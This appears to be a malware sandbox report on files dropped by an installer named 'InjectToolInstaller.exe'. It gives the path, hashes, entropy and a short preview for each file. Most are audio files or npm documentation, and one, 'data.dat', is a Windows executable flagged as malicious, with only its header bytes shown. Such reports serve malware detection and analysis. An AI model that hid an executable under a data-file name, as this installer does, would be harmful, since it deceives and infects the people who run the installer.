Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%...................................................................................................3.Y.n.n.w...~.>.................i._.z.......L.c.......o...S.~.....[...........0.}.F...2...%.....@...[.6...&...r.......N...#...........:.....}.........N.......l.Y...E.....#.....d..._...k.....~...u.........#.....e.C.......q.5...5.>...)...=.K...#...............!.X.D.C...2.......f...K...X..._.q...A...............l.X.q...q.....i.P...l.......6.......5.....l.............).w...&............d.....?...=.........\...6.........N.O...S...}.L.}.....................Z...].C.....h.....N........."...z...(...r...U.......I.......J.........1.v.x.>.........4.................[.........h.N.............L.)...Q...(.".\.\.^...............G.......l.....$. .....).......t.......@...-.g..........q.........D..................Z.\.d...4...6...~.[.M...w.v.....L...X...5.........i.~.*...v.........:.....]...........{.h.....K.O._.....P.....4.......U...h.'.I...(...D.......m...j.....

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\specgan_sc09 - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.349684310935958
Encrypted:	false
SSDEEP:	24576:alL2yJuwtfb9xGO0RHXDaJ/HTz5rgHdHYG:aYVKb9xd/9gHdHv
MD5:	9D8691FD2B28078CAC74060D0FD33BF7
SHA1:	21D9FA20835C46CEC90641380EA9AA71C57AB85E
SHA-256:	1BBF3A28BC06757CB8A3B19BC7186C583594B18AC459DF231CF9C9AABB1F3BB9
SHA-512:	626E71144737BA2E057A426A7F6C59F1B92DC52141752F6A8711AF969574E441C1582C038B4254C917126EE656F17281BEA7A8A093E1E05EFF55B4D54DCEEA50
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!.&...../.).../.,. ..............."...............................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\specgan_sc09.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.349684310935958
Encrypted:	false
SSDEEP:	24576:alL2yJuwtfb9xGO0RHXDaJ/HTz5rgHdHYG:aYVKb9xd/9gHdHv
MD5:	9D8691FD2B28078CAC74060D0FD33BF7
SHA1:	21D9FA20835C46CEC90641380EA9AA71C57AB85E
SHA-256:	1BBF3A28BC06757CB8A3B19BC7186C583594B18AC459DF231CF9C9AABB1F3BB9
SHA-512:	626E71144737BA2E057A426A7F6C59F1B92DC52141752F6A8711AF969574E441C1582C038B4254C917126EE656F17281BEA7A8A093E1E05EFF55B4D54DCEEA50
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!.&...../.).../.,. ..............."...............................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\data.dat

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3523422
Entropy (8bit):	7.9509226318355894
Encrypted:	false
SSDEEP:	49152:k1hZXwWDbA+br1GP93KxuxRZJTiL7s3kT/wmZ6d3aoS2Bnvyo5/VpBzfIxG13BkI:eh1FniRZosQzMd3aotB6y9pvAuExenh
MD5:	CF515BE4BDA9A66C9FDBEDF7D22CCC59
SHA1:	4F7DB48742C03F7BBE11250551E04A11C11443F3
SHA-256:	F888493186529EAE8908F3326CEC1887E885737720D52176C474F1D48075D06E
SHA-512:	67E79F2B5EB9C8FD7D53D673DA7AC43F7BC51F6EB3130C780ACD1A61AE0CAD78B9A31655E57E64976C6F0F1A63084B30CB412EC732D61CCA349E8C769FFF481E
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......t..0..I0..I0..I.'.I8..I.'.I...I.'.I=..I...I2..I...H"..I...H9..I...H...I9.rI9..I9.vI2..I9.bI7..I0..I/..I...H...I...H1..I...I1..I...H1..IRich0..I................PE..d......e.........."....!.....~.......q.........@.............................p............`............................................4...$...P............0...+...........`..,...@t..T...............................@...................<... ....................text...n........................... ..`.rdata..............................@..@.data....U..........................@....pdata...+...0...,..................@..@.didat..X....`......................@..._RDATA..\....p......................@..@.rsrc...............................@..@.reloc..,....`......................@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\.eslintrc.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	357
Entropy (8bit):	4.8224113106031306
Encrypted:	false
SSDEEP:	6:Uf6jI4smaOUbeGsdaPoMIvfZsMEODMWTRQaI0r5NxbQJqBSc+NLF+v/6mn:Uf6ANOUbZsnnZvEtW+SNVQJqBevil
MD5:	1F007186BE8B5260FF53B341AF5655FD
SHA1:	1858997A42CEA3D5F66C92CD4E2C709A1F96EB4B
SHA-256:	191B99C3205D8862BD3A11AF48CFE1DD884203817D109E5CA0817A743CC3D6A1
SHA-512:	FB3B32D9811BE0EE8D27C5BBEBDEFB70607501157365E9B680AD4EAEFB0B3024920D21DEF3E8C918E718B1B693BD81945D9E680388EF3F076A719F50A5E01BA3
Malicious:	false
Preview:	/* This file is automatically added by @npmcli/template-oss. Do not edit. */..'use strict'..const { readdirSync: readdir } = require('fs')..const localConfigs = readdir(__dirname). .filter((file) => file.startsWith('.eslintrc.local.')). .map((file) => `./${file}`)..module.exports = {. root: true,. extends: [. '@npmcli',. ...localConfigs,. ],.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\.eslintrc.local.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	68
Entropy (8bit):	4.24187525468611
Encrypted:	false
SSDEEP:	3:QueHFuobLALWIBAqLBDWNovDn:Quw0oYrBAwVr
MD5:	E6A8F08380C7491FD758DDEB427B4FAC
SHA1:	80DFD629A08827936D4F76C85431248EA5E7C657
SHA-256:	820A2A6AC56E7D7D6F860C78B3EE4D7951EA340039695F6BEF50B33A5C93E522
SHA-512:	3E3EA51C0C5D2E884A2C6E6A1B00C5D865EC4FA72E7AC89FE20B22C0B95A0EDACBC190D9E6D4326C3ED14DE2EE68D86083E717ADBB7CDA1E93215754B31B9CB9
Malicious:	false
Preview:	{. "rules": {. "import/no-extraneous-dependencies": "off". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\.gitignore

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	302
Entropy (8bit):	4.861116444009598
Encrypted:	false
SSDEEP:	6:SbF6jI4smaOUczAWZrF9PPJUCPjCTCLanrWu+EpTY9NcKe:q0ANOUcBFZJZPGTiaRZYNe
MD5:	8DA13F306C8C0F4F4A32960E93725B42
SHA1:	B9EE3F4A8B64284A8F698206993E4EC2CF83F66F
SHA-256:	CA7A3D5544BEB40BEB598F6AE22527E8CBCBC29B67F241AD9E572A50A89848B0
SHA-512:	59E6493139D8A3AF2889FB337032F41124A53F5CA7EE06906C97D4F6CF0FA942F28B3B7CE2D449B10EA0A01A39282397984EA46DF43571D2A5FE753FC20BB6CC
Malicious:	false
Preview:	# This file is automatically added by @npmcli/template-oss. Do not edit...# ignore everything in the root./..# keep these.!/.gitignore.!/.eslintrc.js.!/.eslintrc.local..!/.gitignore.!/bin/.!/CHANGELOG.!/docs/.!/lib/.!/LICENSE.!/map.js.!/package.json.!/README*.!/scripts/.!/tap-snapshots/.!/test/.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\bin\build.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	950
Entropy (8bit):	4.820275242060349
Encrypted:	false
SSDEEP:	12:vcrVSn8fqlJM2Eta97/UaPzmnzk7Hp3BRSvzZuRd2QAl5ITLI7MEL9QMrvn+wwNK:iV5I39bvKk7HpBRd4yA7BD64sYZ4Sedw
MD5:	BC795B82B910D4782FDE5D534F7761A0
SHA1:	89F32C20AB030D24B687CD28869F4861D3A10BD9
SHA-256:	6F699F2645B2A76FC17C444561D2E606710AE42576D99C4CAA67098C59680BA9
SHA-512:	1440F59E600E476E066BE827C5C7DC8FCC2E5400B537C92C7467611C21F643936F83C305D880E7ABD2891C2054C82E765F574A8E082E7B721073B84BF5529C52
Malicious:	false
Preview:	if (. process.env.SMOKE_PUBLISH_NPM &&. !require('semver').satisfies(process.version, require('../package.json').engines.node).) {. // The docs tooling is kept in sync between releases and dependencies that are not compatible. // with the lower bound of npm@8 engines are used. When we run the SMOKE_PUBLISH_NPM we are. // testing that npm is able to pack and install itself locally and then run its own smoke tests.. // Packing will run this script automatically so in the cases where the node version is. // not compatible, it is ok to bail on this script since the generated docs are not used in. // the smoke tests.. console.log(`Skipping docs build due to SMOKE_PUBLISH_NPM and ${process.version}`). return.}..const run = require('../lib/build.js').const { paths } = require('../lib/index')..run(paths). .then((res) => console.log(`Wrote ${res.length} files`)). .catch((err) => {. process.exitCode = 1. console.error(err). }).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\build.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4340
Entropy (8bit):	4.808440015825047
Encrypted:	false
SSDEEP:	96:5nlRJCXjqVyK0KQbZPkUKtcQxrYduH9UK4tVWgWPoo3eYmWaGUg:5vJOjq4K0K8PkUKtcCLetVtWPqSqg
MD5:	BD0AD8E1B290A7479BF9C43BCF6F3FAE
SHA1:	DF89D292046D29CE98014A1483C71F976DBF51C7
SHA-256:	792BB8559C45E6D3156C8A38DAD94DAE174AC3BAE36358C04D827AF9BD9943C8
SHA-512:	616417E0E5BF2B62C4A29A2172C35154A6284F0274FC45AB0A1F26A9652B99DC64C6FB527A1705AEE7C3035F68391E7DF935ED20C0D6EFCF2C56C7DE32F09C3E
Malicious:	false
Preview:	const { join, dirname, basename, extname, sep, posix } = require('path').const fs = require('fs/promises').const ignoreWalk = require('ignore-walk').const yaml = require('yaml').const parseFrontMatter = require('front-matter')..const checkNav = require('./check-nav.js').const { DOC_EXT, ...transform } = require('./index.js')..const mkDirs = async (paths) => {. const uniqDirs = [...new Set(paths.map((p) => dirname(p)))]. return Promise.all(uniqDirs.map((d) => fs.mkdir(d, { recursive: true }))).}..const rmAll = (...dirs) => Promise.all(dirs.map((d) => fs.rm(d, { recursive: true, force: true }))).const readDocs = (path) => ignoreWalk({ path }).then(ps => ps.filter(p => extname(p) === DOC_EXT)).const readMd = (path) => fs.readFile(path, 'utf-8').then(parseFrontMatter).const readHtml = (path) => fs.readFile(path, 'utf-8').const readYaml = (path) => fs.readFile(path, 'utf-8').then(yaml.parse).const makeTransforms = (...args) => (src, trs) => trs.reduce((acc, tr) => tr(acc, ...args), src)..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\check-nav.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1788
Entropy (8bit):	4.676334283335598
Encrypted:	false
SSDEEP:	48:3s5xk3eipbq5HT5tDp2M+KQ6MW+mfbnlny2S/P6c:623ei85HFZIYBnlJc
MD5:	2A90C74D9EE26A7266F2B6322F3943D0
SHA1:	D281AF0A3E37961D283B0B3C2AE57DB04697B768
SHA-256:	4F6E9F65A777A9F359BB3EBB680AAC854103A9DDD967E1A7356953E925F172AE
SHA-512:	6EE8E277A43EF82820B208E960B21994977BB0A465DDB1E85520BE86A1BD82A754EAB1484B53FB29537CDDB8849BB4A46847440F5024ABEC41BA15030B8C222E
Malicious:	false
Preview:	const { basename, join, dirname, sep, posix } = require('path')..function ensureNavigationComplete (nav, fsPaths, ext) {. const navPaths = getNavigationPaths(nav). const unmatchedNav = {}. const unmatchedFs = {}.. for (const navPath of navPaths) {. // every nav path starts as an unmatched fs path. unmatchedFs[navPath] = true. }.. for (const path of fsPaths) {. const key = posix.sep + join(dirname(path), basename(path, ext)).split(sep).join(posix.sep). // for each fs path, if it exists in the nav we. // unmark it as unmatched on the filesystem.. // otherwise its unmarked in the nav. if (unmatchedFs[key]) {. delete unmatchedFs[key]. } else {. unmatchedNav[key] = true. }. }.. const toKeys = (v) => Object.keys(v).sort().map((p) => p.split(posix.sep).join(sep)). const missingNav = toKeys(unmatchedNav). const missingFs = toKeys(unmatchedFs).. const errors = [].. if (missingNav.length) {. errors.push('The following path(s) exist on disk but

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-access.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	2629
Entropy (8bit):	4.785032145634264
Encrypted:	false
SSDEEP:	48:WZ0HI6+0A1I+t9ATBeTvK7+V0Ya1S3X1+U+i/Siz:WZwIbnI+tGBeTvkkn1t
MD5:	C65435E845158F93E0E49618F25713B9
SHA1:	AFD861CEFEC9E706F22D1575B03034D715D48CC5
SHA-256:	3E95D77E931A3FBD55AD20F2EFF935378E1AEFAA29FEED6F0DF35F7934BD8549
SHA-512:	9B74AB389B1C6167DD4D5B18E6FD27AB9C35C965D3C35172DC7058C9C04C525DBE67E9E095895573021E0A706841B2E1DD1B71C9A3BCFB029994D5F251EB19AE
Malicious:	false
Preview:	---.title: npm-access.section: 1.description: Set access level on published packages.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Used to set access controls on private packages...For all of the subcommands, `npm access` will perform actions on the packages.in the current working directory if no package name is passed to the.subcommand...* public / restricted (deprecated):. Set a package to be either publicly accessible or restricted...* grant / revoke (deprecated):. Add or remove the ability of users and teams to have read-only or read-write. access to a package...* 2fa-required / 2fa-not-required (deprecated):. Configure whether a package requires that anyone publishing it have two-factor. authentication enabled on their account...* ls-packages (deprecated):. Show all of the packages a user or a team is able to access, along with the. access level, except for read-only public packages (it won't print the whole. registry listing)..* ls-collabo

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-adduser.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	786
Entropy (8bit):	5.0974076981962275
Encrypted:	false
SSDEEP:	24:Vs/SaJfth3aUaV1ArmAV4iPh4NPh4dkPhnPhsuAePhAun:udtPr/4A+qctWK/
MD5:	46BBAFF72128D2F96164FCE19A907DEE
SHA1:	7EE7DB8514044DC22020A68C5EA0445C9E330E8A
SHA-256:	9E1895A05BF49B99C540F91D7035AF107E82F64AECD342D215C03E988FBA2151
SHA-512:	1739228FE25C6725558E03BA93A95FA0531F8B9DEE124CECD77D608F188B1287E0D1F6D3C61C4A8B415CD12A78ED0C53D6AE90E7152B8AC7CEE7BFA0E97E5063
Malicious:	false
Preview:	---.title: npm-adduser.section: 1.description: Add a registry user account.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Create a new user in the specified registry, and save the credentials to.the `.npmrc` file. If no registry is specified, the default registry.will be used (see [`registry`](/using-npm/registry))...When using `legacy` for your `auth-type`, the username, password, and.email are read in from prompts...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm registry](/using-npm/registry).* [npm config](/commands/npm-config).* [npmrc](/configuring-npm/npmrc).* [npm owner](/commands/npm-owner).* [npm whoami](/commands/npm-whoami).* [npm token](/commands/npm-token).* [npm profile](/commands/npm-profile).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-audit.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	8801
Entropy (8bit):	4.898026454825192
Encrypted:	false
SSDEEP:	192:Orbn+DtKvPhV65uTngtTrTDXLnNtEfgWkyHkgxys5TDwlRg6GyX2fpZFl:qD+DgvPDeop+l66GyGP
MD5:	36F865038356AB3EB1E6AF05BA6CD97F
SHA1:	64685AE4D9A3DF2BFC6DD399918BB11347F95374
SHA-256:	9887237474CF29E265716FBBA14B72E2AAC46104C2EDAE0878B1351EBE90E829
SHA-512:	1895682FEE4EC683EF1060830617FE1C82C68E83856F0C4060C811A8E2559DB6BF0C52A2288C9AF123A6E62AE8F27FDC4131994D2085006EA4D7B2740BBD3A03
Malicious:	false
Preview:	---.title: npm-audit.section: 1.description: Run a security audit.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..The audit command submits a description of the dependencies configured in.your project to your default registry and asks for a report of known.vulnerabilities. If any vulnerabilities are found, then the impact and.appropriate remediation will be calculated. If the `fix` argument is.provided, then remediations will be applied to the package tree...The command will exit with a 0 exit code if no vulnerabilities were found...Note that some vulnerabilities cannot be fixed automatically and will.require manual intervention or review. Also note that since `npm audit.fix` runs a full-fledged `npm install` under the hood, all configs that.apply to the installer will also apply to `npm install` -- so things like.`npm audit fix --package-lock-only` will work as expected...By default, the audit command will exit with a non-zero code if any.vulnerabilit

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-bugs.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	840
Entropy (8bit):	5.132840679780604
Encrypted:	false
SSDEEP:	24:lMhaJfp55H1Dd/YYdtaEED1NfCVOPhDPhVPh9iPh46rz:lpzJAYdtaZC0tD/AL
MD5:	DE2968F23368EDF41FAA1B9A937044B6
SHA1:	DB85E3A40259160539421B85BF9BD76F22F65B73
SHA-256:	02E079A1A537790A4DAD78AE793B88C4900BC8C6AEA6DEC6AF41A40048369CF6
SHA-512:	4C6391C3D6C6F17D1E7D72116514E1F13D0E642E8D6D21BCB59A85AE16A7791FE484832D97FA82D5172C22F8EC3EF51812F28120C430B6ED6BDABE234EEEA61F
Malicious:	false
Preview:	---.title: npm-bugs.section: 1.description: Report bugs for a package in a web browser.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command tries to guess at the likely location of a package's bug.tracker URL or the `mailto` URL of the support email, and then tries to.open it using the [`--browser` config](/using-npm/config#browser) param. If no.package name is provided, it will search for a `package.json` in the current.folder and use the `name` property...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm docs](/commands/npm-docs).* [npm view](/commands/npm-view).* [npm publish](/commands/npm-publish).* [npm registry](/using-npm/registry).* [npm config](/commands/npm-config).* [npmrc](/configuring-npm/npmrc).* [package.json](/configuring-npm/package-json).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-cache.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	2754
Entropy (8bit):	4.732957274389063
Encrypted:	false
SSDEEP:	48:JHXFFHqrxV+VqxMS2Oc+XXa0/ZZcb3C36qaC43qh8QTcm4qZjVnD1hXArkqEYYYb:FXi6cXaqZCbzs4chayhrSkqD
MD5:	36B4B340B599F3F0EC1885E29F944938
SHA1:	B5CB3778CB84DF80BB7C7DC7F525F49D98AEEFB3
SHA-256:	03B05C5EAEF7D3D52BCED46B191274881B1ED4AE7944A346D1C0AD52887F6E1D
SHA-512:	D44301478A4B6776CEABDEB30C8ED2A1ECF4623BE58361491B84A6806A58E2CF3D205EAEEDD01086138CA26D4D5F3F08763F9797E80EE7EDFDC5B986A7EB851D
Malicious:	false
Preview:	---.title: npm-cache.section: 1.description: Manipulates packages cache.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Used to add, list, or clean the npm cache folder...* add:. Add the specified packages to the local cache. This command is primarily. intended to be used internally by npm, but it can provide a way to. add data to the local installation cache explicitly...* clean:. Delete all data out of the cache folder. Note that this is typically. unnecessary, as npm's cache is self-healing and resistant to data. corruption issues...* verify:. Verify the contents of the cache folder, garbage collecting any unneeded. data, and verifying the integrity of the cache index and all cached data...### Details..npm stores cache data in an opaque directory within the configured `cache`,.named `_cacache`. This directory is a.[`cacache`](http://npm.im/cacache)-based content-addressable cache that.stores all http request data as well as other package-rela

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-ci.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	2122
Entropy (8bit):	4.885622495005577
Encrypted:	false
SSDEEP:	48:/4UzJcnR+Gnx2AwOHTjS0QvGN/cmx3m4BtOblQO:A3bnx2X8q9mFmt
MD5:	58FD6581351B81F59EBAAC6CE9E0884E
SHA1:	2ADEB068AAC60D8496C78B9E8057B11235E2ECC7
SHA-256:	38DC55A7BB2B278755FCFB87AC49F8A886BA44F88459C1FCAA309CED1E1C6793
SHA-512:	A85B6A8D283DE34105BCBBD1A3BB6B6D146ADE5EAA1CDB846DE31C30D104D123F4159E773CDFAB4C3CC9F51A1B55380726DCCA3C3DAC2D407E70BC476F8D4A21
Malicious:	false
Preview:	---.title: npm-ci.section: 1.description: Clean install a project.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command is similar to [`npm install`](/commands/npm-install), except.it's meant to be used in automated environments such as test platforms,.continuous integration, and deployment -- or any situation where you want.to make sure you're doing a clean install of your dependencies...The main differences between using `npm install` and `npm ci` are:..* The project must have an existing `package-lock.json` or. `npm-shrinkwrap.json`..* If dependencies in the package lock do not match those in `package.json`,. `npm ci` will exit with an error, instead of updating the package lock..* `npm ci` can only install entire projects at a time: individual. dependencies cannot be added with this command..* If a `node_modules` is already present, it will be automatically removed. before `npm ci` begins its install..* It will never write to `package.j

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-completion.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	878
Entropy (8bit):	5.020153735654593
Encrypted:	false
SSDEEP:	12:s1CORsDOqiJfdCfpKpkIOooj8Ek7VYOuWvqA4Bactmr/xSWJeGwVJKPhp:hVaJfdlpkIboj8EkJYOuWSbt0NQGdPhp
MD5:	E25FC4B4E546EAA3C8023F944BFB0E41
SHA1:	F8F791771EB1D0D610F489BA4937151C138424EB
SHA-256:	8C058D94DC2620868D3F3995D630E71B2440ABAE5B6AD4E8ADBC07862B7C73BF
SHA-512:	7C2BD36ED4053FE1099422D041558D281BB002705DE69738677BC0604593EA8F739820FD65554CB133B43EB44B9A2132C2A1584FDD3383023F340D1CA465BDC3
Malicious:	false
Preview:	---.title: npm-completion.section: 1.description: Tab Completion for npm.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Enables tab-completion in all npm commands...The synopsis above.loads the completions into your current shell. Adding it to.your ~/.bashrc or ~/.zshrc will make the completions available.everywhere:..```bash.npm completion >> ~/.bashrc.npm completion >> ~/.zshrc.```..You may of course also pipe the output of `npm completion` to a file.such as `/usr/local/etc/bash_completion.d/npm` or .`/etc/bash_completion.d/npm` if you have a system that will read .that file for you...When `COMP_CWORD`, `COMP_LINE`, and `COMP_POINT` are defined in the.environment, `npm completion` acts in "plumbing mode", and outputs.completions based on the arguments...### See Also..* [npm developers](/using-npm/developers).* [npm](/commands/npm).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-config.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	2158
Entropy (8bit):	4.921985985276835
Encrypted:	false
SSDEEP:	24:7BkaJfAnE43GvSG0OCdQRACBUAnmrUEfL7KZEw2MI53rdp3Ey1UsMEo/NFVzymE2:lUEYG0dqRPrmoEHK7pOJp3ZMn/NDH+cj
MD5:	CD66F326752B7A14F7C745A18031A8E4
SHA1:	3555091C383D2DDCE038871985CB8027F83152FE
SHA-256:	D13C317FD986714A65258B005A0FA954F486C6B934811B1201C7E7064A8190CB
SHA-512:	33AAD169E19881AB06EB603B2BA530A6D3868638C5EBF6B36414273540EBCCA8D23816D7CCAA3C27294A5FA6E377FE31356A4571D1C72999A64701BF93C261BD
Malicious:	false
Preview:	---.title: npm-config.section: 1.description: Manage the npm configuration files.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..npm gets its config settings from the command line, environment.variables, `npmrc` files, and in some cases, the `package.json` file...See [npmrc](/configuring-npm/npmrc) for more information about the npmrc.files...See [config](/using-npm/config) for a more thorough explanation of the.mechanisms involved, and a full list of config options available...The `npm config` command can be used to update and edit the contents.of the user and global npmrc files...### Sub-commands..Config supports the following sub-commands:..#### set..```bash.npm config set key=value [key=value...].npm set key=value [key=value...].```..Sets each of the config keys to the value provided...If value is omitted, the key will be removed from your config file entirely...Note: for backwards compatibility, `npm config set key value` is supported.as an alias for

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-dedupe.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	2184
Entropy (8bit):	4.886025885787814
Encrypted:	false
SSDEEP:	48:A6qgLMPZrwmItskDmWGEvtMXyZxuFD1tMzK52Qt8NR7ZfR:7ysWkD8EeUgFD1qW4f
MD5:	C137EBE3808C542C317C2E509409631A
SHA1:	33E49093990E1C2E84F11082A2A883F1E5C21995
SHA-256:	1D0B4E0A5D32AB0A573609BC16463E498FCB05642C4F0AC03BDF635BBC31C637
SHA-512:	581FE6251EAE099B14BD7C79836C7464C68017276FDA975A624C3DAD55F95AA2B85B70B08BB564F3399EDFE55E5A9D576F9BACEC4839BC496CC031992C3857E6
Malicious:	false
Preview:	---.title: npm-dedupe.section: 1.description: Reduce duplication in the package tree.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Searches the local package tree and attempts to simplify the overall.structure by moving dependencies further up the tree, where they can.be more effectively shared by multiple dependent packages...For example, consider this dependency graph:..```.a.+-- b <-- depends on c@1.0.x.\| `-- c@1.0.3.`-- d <-- depends on c@~1.0.9. `-- c@1.0.10.```..In this case, `npm dedupe` will transform the tree to:..```bash.a.+-- b.+-- d.`-- c@1.0.10.```..Because of the hierarchical nature of node's module lookup, b and d.will both get their dependency met by the single c package at the root.level of the tree...In some cases, you may have a dependency graph like this:..```.a.+-- b <-- depends on c@1.0.x.+-- c@1.0.3.`-- d <-- depends on c@1.x. `-- c@1.9.9.```..During the installation process, the `c@1.0.3` dependency for `b` was.placed in

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-deprecate.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	1297
Entropy (8bit):	5.044926283778448
Encrypted:	false
SSDEEP:	24:fkbuaJfp5DumrXY+FB4GIPrI5o3dtvZFBPINJ+3jK2VOrBPh95Ph6PhOr:fk1zDuAXY+P4GUO8dt3BqJ+WW8/1mg
MD5:	9665EBDF477E23BDD0BB75C63F1AD9D6
SHA1:	3E79008C821DCBBC93B4279F6BE6CD511CFE75D3
SHA-256:	41D66F81D4C84EE47319689B28999CDAF6C8A9FDC488B84D5E2A07E2C84274D4
SHA-512:	74F88B781F44EC66821198F6FC0B5B52A6A01F14164BE044AC1A5E2AB3D9D462B3E6F93BAC7BF3E9E2EAA12E4CA43FD1E69EDD208D35BB797E406481BBA717D0
Malicious:	false
Preview:	---.title: npm-deprecate.section: 1.description: Deprecate a version of a package.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command will update the npm registry entry for a package, providing a.deprecation warning to all who attempt to install it...It works on [version ranges](https://semver.npmjs.com/) as well as specific.versions, so you can do something like this:..```bash.npm deprecate my-thing@"< 0.2.3" "critical bug fixed in v0.2.3".```..SemVer ranges passed to this command are interpreted such that they do.include prerelease versions. For example:..```bash.npm deprecate my-thing@1.x "1.x is no longer supported".```..In this case, a version `my-thing@1.0.0-beta.0` will also be deprecated...You must be the package owner to deprecate something. See the `owner` and.`adduser` help topics...To un-deprecate a package, specify an empty string (`""`) for the `message`.argument. Note that you must use double quotes with no space between them t

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-diff.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	5425
Entropy (8bit):	4.7911632127322825
Encrypted:	false
SSDEEP:	96:xhbiFtnaFCz3dRKkbaZGkm/usyybfEHRmIvNiOuvCmuL0:xhbiFtny4dRnQGkm/71AFiG0
MD5:	BEB5DEE8C90CD6898D9EDA5F21E02499
SHA1:	3F9885EBBCF4A0930DB1AF5EAD186975D914AC93
SHA-256:	704FFFE53FE401A6216CD123355CC54B7FAF77D86787B141E85B5AEE79798073
SHA-512:	07B55C293268906C59AF79213405CFD80BF6D569AA2EACA64646C2053C7B84447165F91B3343ED4184F3ABB05E7480D1C99CD48E1D8A1FC7976C9F660B5C5D48
Malicious:	false
